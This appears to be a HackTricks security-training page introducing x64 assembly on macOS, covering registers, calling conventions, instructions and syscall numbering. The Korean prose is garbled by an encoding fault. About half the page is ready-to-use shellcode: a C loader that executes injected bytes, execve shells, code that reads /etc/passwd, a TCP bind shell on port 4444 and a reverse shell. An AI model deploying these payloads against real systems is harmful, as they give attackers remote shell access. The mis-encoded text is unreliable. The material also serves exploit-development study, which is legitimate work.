Introduction to x64
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Introduction to x64
x64, ๋๋ x86-64๋ก๋ ์๋ ค์ง, ๋ฐ์คํฌํ ๋ฐ ์๋ฒ ์ปดํจํ ์์ ์ฃผ๋ก ์ฌ์ฉ๋๋ 64๋นํธ ํ๋ก์ธ์ ์ํคํ ์ฒ์ ๋๋ค. Intel์์ ์ ์ํ x86 ์ํคํ ์ฒ์์ ์ ๋๋์์ผ๋ฉฐ, ์ดํ AMD๊ฐ AMD64๋ผ๋ ์ด๋ฆ์ผ๋ก ์ฑํํ์์ต๋๋ค. ํ์ฌ ๊ฐ์ธ์ฉ ์ปดํจํฐ์ ์๋ฒ์์ ๋๋ฆฌ ์ฌ์ฉ๋๋ ์ํคํ ์ฒ์ ๋๋ค.
Registers
x64๋ x86 ์ํคํ
์ฒ๋ฅผ ํ์ฅํ์ฌ 16๊ฐ์ ๋ฒ์ฉ ๋ ์ง์คํฐ๋ฅผ ํน์ง์ผ๋ก ํ๋ฉฐ, ์ด๋ค์ rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, ๊ทธ๋ฆฌ๊ณ r8๋ถํฐ r15๊น์ง ๋ ์ด๋ธ์ด ๋ถ์ด ์์ต๋๋ค. ์ด๋ค ๊ฐ๊ฐ์ 64๋นํธ(8๋ฐ์ดํธ) ๊ฐ์ ์ ์ฅํ ์ ์์ต๋๋ค. ์ด ๋ ์ง์คํฐ๋ค์ ํธํ์ฑ๊ณผ ํน์ ์์
์ ์ํด 32๋นํธ, 16๋นํธ, 8๋นํธ ์๋ธ ๋ ์ง์คํฐ๋ ๊ฐ์ง๊ณ ์์ต๋๋ค.
rax- ์ ํต์ ์ผ๋ก ํจ์์ ๋ฐํ ๊ฐ์ ์ฌ์ฉ๋ฉ๋๋ค.rbx- ๋ฉ๋ชจ๋ฆฌ ์์ ์ ์ํ ๊ธฐ๋ณธ ๋ ์ง์คํฐ๋ก ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค.rcx- ๋ฃจํ ์นด์ดํฐ๋ก ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.rdx- ํ์ฅ๋ ์ฐ์ ์ฐ์ฐ์ ํฌํจํ ๋ค์ํ ์ญํ ์ ์ฌ์ฉ๋ฉ๋๋ค.rbp- ์คํ ํ๋ ์์ ๊ธฐ๋ณธ ํฌ์ธํฐ์ ๋๋ค.rsp- ์คํ ํฌ์ธํฐ, ์คํ์ ์ต์๋จ์ ์ถ์ ํฉ๋๋ค.rsi๋ฐrdi- ๋ฌธ์์ด/๋ฉ๋ชจ๋ฆฌ ์์ ์์ ์์ค ๋ฐ ๋์ ์ธ๋ฑ์ค์ ์ฌ์ฉ๋ฉ๋๋ค.- **
r8**๋ถํฐr15- x64์์ ๋์ ๋ ์ถ๊ฐ ๋ฒ์ฉ ๋ ์ง์คํฐ์ ๋๋ค.
Calling Convention
x64 ํธ์ถ ๊ท์ฝ์ ์ด์ ์ฒด์ ์ ๋ฐ๋ผ ๋ค๋ฆ ๋๋ค. ์๋ฅผ ๋ค์ด:
- Windows: ์ฒซ ๋ฒ์งธ ๋ค ๊ฐ์ ๋งค๊ฐ๋ณ์๋ ๋ ์ง์คํฐ
rcx,rdx,r8, **r9**์ ์ ๋ฌ๋ฉ๋๋ค. ์ถ๊ฐ ๋งค๊ฐ๋ณ์๋ ์คํ์ ํธ์๋ฉ๋๋ค. ๋ฐํ ๊ฐ์ **rax**์ ์์ต๋๋ค. - System V (UNIX ์ ์ฌ ์์คํ
์์ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋จ): ์ฒซ ๋ฒ์งธ ์ฌ์ฏ ๊ฐ์ ์ ์ ๋๋ ํฌ์ธํฐ ๋งค๊ฐ๋ณ์๋ ๋ ์ง์คํฐ
rdi,rsi,rdx,rcx,r8, **r9**์ ์ ๋ฌ๋ฉ๋๋ค. ๋ฐํ ๊ฐ๋ **rax**์ ์์ต๋๋ค.
ํจ์๊ฐ ์ฌ์ฏ ๊ฐ ์ด์์ ์ ๋ ฅ์ ๊ฐ์ง๋ฉด, ๋๋จธ์ง๋ ์คํ์ ์ ๋ฌ๋ฉ๋๋ค. RSP, ์คํ ํฌ์ธํฐ๋ 16๋ฐ์ดํธ ์ ๋ ฌ๋์ด์ผ ํ๋ฉฐ, ์ด๋ ํธ์ถ์ด ๋ฐ์ํ๊ธฐ ์ ์ ๊ฐ๋ฆฌํค๋ ์ฃผ์๊ฐ 16์ผ๋ก ๋๋์ด ๋จ์ด์ ธ์ผ ํจ์ ์๋ฏธํฉ๋๋ค. ์ด๋ ์ผ๋ฐ์ ์ผ๋ก ํจ์ ํธ์ถ ์ ์ RSP๊ฐ ์ ์ ํ ์ ๋ ฌ๋์ด์ผ ํจ์ ์๋ฏธํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ค์ ๋ก๋ ์ด ์๊ตฌ ์ฌํญ์ด ์ถฉ์กฑ๋์ง ์๋๋ผ๋ ์์คํ ํธ์ถ์ด ์ฌ๋ฌ ๋ฒ ์๋ํฉ๋๋ค.
Calling Convention in Swift
Swift๋ https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64์์ ์ฐพ์ ์ ์๋ ์์ฒด ํธ์ถ ๊ท์ฝ์ ๊ฐ์ง๊ณ ์์ต๋๋ค.
Common Instructions
x64 ๋ช ๋ น์ด๋ ํ๋ถํ ์ธํธ๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์ด์ x86 ๋ช ๋ น์ด์์ ํธํ์ฑ์ ์ ์งํ๊ณ ์๋ก์ด ๋ช ๋ น์ด๋ฅผ ๋์ ํฉ๋๋ค.
mov: ํ ๋ ์ง์คํฐ ๋๋ ๋ฉ๋ชจ๋ฆฌ ์์น์์ ๋ค๋ฅธ ์์น๋ก ๊ฐ์ ์ด๋ํฉ๋๋ค.- ์:
mov rax, rbxโrbx์ ๊ฐ์rax๋ก ์ด๋ํฉ๋๋ค. push๋ฐpop: ์คํ์ ๊ฐ์ ํธ์ํ๊ฑฐ๋ ํํฉ๋๋ค.- ์:
push raxโrax์ ๊ฐ์ ์คํ์ ํธ์ํฉ๋๋ค. - ์:
pop raxโ ์คํ์ ์ต์๋จ ๊ฐ์rax๋ก ํํฉ๋๋ค. add๋ฐsub: ๋ง์ ๋ฐ ๋บ์ ์ฐ์ฐ์ ๋๋ค.- ์:
add rax, rcxโrax์rcx์ ๊ฐ์ ๋ํ์ฌ ๊ฒฐ๊ณผ๋ฅผrax์ ์ ์ฅํฉ๋๋ค. mul๋ฐdiv: ๊ณฑ์ ๋ฐ ๋๋์ ์ฐ์ฐ์ ๋๋ค. ์ฃผ์: ์ด๋ค์ ํผ์ฐ์ฐ์ ์ฌ์ฉ์ ๋ํ ํน์ ๋์์ ๊ฐ์ง๊ณ ์์ต๋๋ค.call๋ฐret: ํจ์๋ฅผ ํธ์ถํ๊ณ ๋ฐํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.int: ์ํํธ์จ์ด ์ธํฐ๋ฝํธ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์:int 0x80๋ 32๋นํธ x86 Linux์์ ์์คํ ํธ์ถ์ ์ฌ์ฉ๋์์ต๋๋ค.cmp: ๋ ๊ฐ์ ๋น๊ตํ๊ณ ๊ฒฐ๊ณผ์ ๋ฐ๋ผ CPU์ ํ๋๊ทธ๋ฅผ ์ค์ ํฉ๋๋ค.- ์:
cmp rax, rdxโrax๋ฅผrdx์ ๋น๊ตํฉ๋๋ค. je,jne,jl,jge, โฆ: ์ด์ cmp๋๋ ํ ์คํธ์ ๊ฒฐ๊ณผ์ ๋ฐ๋ผ ์ ์ด ํ๋ฆ์ ๋ณ๊ฒฝํ๋ ์กฐ๊ฑด๋ถ ์ ํ ๋ช ๋ น์ด์ ๋๋ค.- ์:
cmp rax, rdx๋ช ๋ น์ด ํ,je labelโrax๊ฐrdx์ ๊ฐ์ผ๋ฉดlabel๋ก ์ ํํฉ๋๋ค. syscall: ์ผ๋ถ x64 ์์คํ (์: ํ๋ Unix)์์ ์์คํ ํธ์ถ์ ์ฌ์ฉ๋ฉ๋๋ค.sysenter: ์ผ๋ถ ํ๋ซํผ์์ ์ต์ ํ๋ ์์คํ ํธ์ถ ๋ช ๋ น์ด์ ๋๋ค.
Function Prologue
- ์ด์ ๊ธฐ๋ณธ ํฌ์ธํฐ ํธ์:
push rbp(ํธ์ถ์์ ๊ธฐ๋ณธ ํฌ์ธํฐ๋ฅผ ์ ์ฅ) - ํ์ฌ ์คํ ํฌ์ธํฐ๋ฅผ ๊ธฐ๋ณธ ํฌ์ธํฐ๋ก ์ด๋:
mov rbp, rsp(ํ์ฌ ํจ์์ ๋ํ ์๋ก์ด ๊ธฐ๋ณธ ํฌ์ธํฐ ์ค์ ) - ๋ก์ปฌ ๋ณ์๋ฅผ ์ํ ์คํ ๊ณต๊ฐ ํ ๋น:
sub rsp, <size>(์ฌ๊ธฐ์<size>๋ ํ์ํ ๋ฐ์ดํธ ์)
Function Epilogue
- ํ์ฌ ๊ธฐ๋ณธ ํฌ์ธํฐ๋ฅผ ์คํ ํฌ์ธํฐ๋ก ์ด๋:
mov rsp, rbp(๋ก์ปฌ ๋ณ์ ํด์ ) - ์ด์ ๊ธฐ๋ณธ ํฌ์ธํฐ๋ฅผ ์คํ์์ ํ:
pop rbp(ํธ์ถ์์ ๊ธฐ๋ณธ ํฌ์ธํฐ ๋ณต์) - ๋ฐํ:
ret(ํธ์ถ์์๊ฒ ์ ์ด ๋ฐํ)
macOS
syscalls
๋ค์ํ ํด๋์ค์ ์์คํ ํธ์ถ์ด ์์ผ๋ฉฐ, ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค:
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
๊ทธ๋ฐ ๋ค์ ๊ฐ syscall ๋ฒํธ๋ฅผ ์ด URL์์: ์ฐพ์ ์ ์์ต๋๋ค.
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
open ์์คํ
ํธ์ถ (5)์ Unix/BSD ํด๋์ค์์ ํธ์ถํ๊ธฐ ์ํด์๋ ๋ค์์ ์ถ๊ฐํด์ผ ํฉ๋๋ค: 0x2000000
๋ฐ๋ผ์ open์ ํธ์ถํ๋ ์์คํ
ํธ์ถ ๋ฒํธ๋ 0x2000005์
๋๋ค.
Shellcodes
์ปดํ์ผํ๋ ค๋ฉด:
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
๋ฐ์ดํธ๋ฅผ ์ถ์ถํ๋ ค๋ฉด:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
์์ฝ๋๋ฅผ ํ ์คํธํ๊ธฐ ์ํ C ์ฝ๋
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #includeint (*sc)();
char shellcode[] = โ
int main(int argc, char **argv) { printf(โ[>] Shellcode Length: %zd Bytes\nโ, strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror(โmmapโ); exit(-1); } printf(โ[+] SUCCESS: mmap\nโ); printf(โ |-> Return = %p\nโ, ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf(โ[+] SUCCESS: memcpy\nโ); printf(โ |-> Return = %p\nโ, dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror(โmprotectโ); exit(-1); } printf(โ[+] SUCCESS: mprotect\nโ); printf(โ |-> Return = %d\nโ, status);
printf(โ[>] Trying to execute shellcodeโฆ\nโ);
sc = ptr; sc();
return 0; }
</details>
#### ์
ธ
[**์ฌ๊ธฐ**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)์์ ๊ฐ์ ธ์จ ๋ด์ฉ์ด๋ฉฐ ์ค๋ช
๋ฉ๋๋ค.
{{#tabs}}
{{#tab name="with adr"}}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
{{#endtab}}
{{#tab name=โwith stackโ}}
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
{{#endtab}} {{#endtabs}}
cat์ผ๋ก ์ฝ๊ธฐ
๋ชฉํ๋ execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)๋ฅผ ์คํํ๋ ๊ฒ์
๋๋ค. ์ฌ๊ธฐ์ ๋ ๋ฒ์งธ ์ธ์(x1)๋ ๋งค๊ฐ๋ณ์์ ๋ฐฐ์ด์
๋๋ค(๋ฉ๋ชจ๋ฆฌ์์ ์ด๋ ์ฃผ์์ ์คํ์ ์๋ฏธํฉ๋๋ค).
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
sh๋ก ๋ช ๋ น์ด ํธ์ถํ๊ธฐ
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
Bind shell
ํฌํธ 4444์์ https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html์ Bind shell
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
๋ฆฌ๋ฒ์ค ์ ธ
https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html์์ ๋ฆฌ๋ฒ์ค ์ ธ. 127.0.0.1:4444๋ก ๋ฆฌ๋ฒ์ค ์ ธ.
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


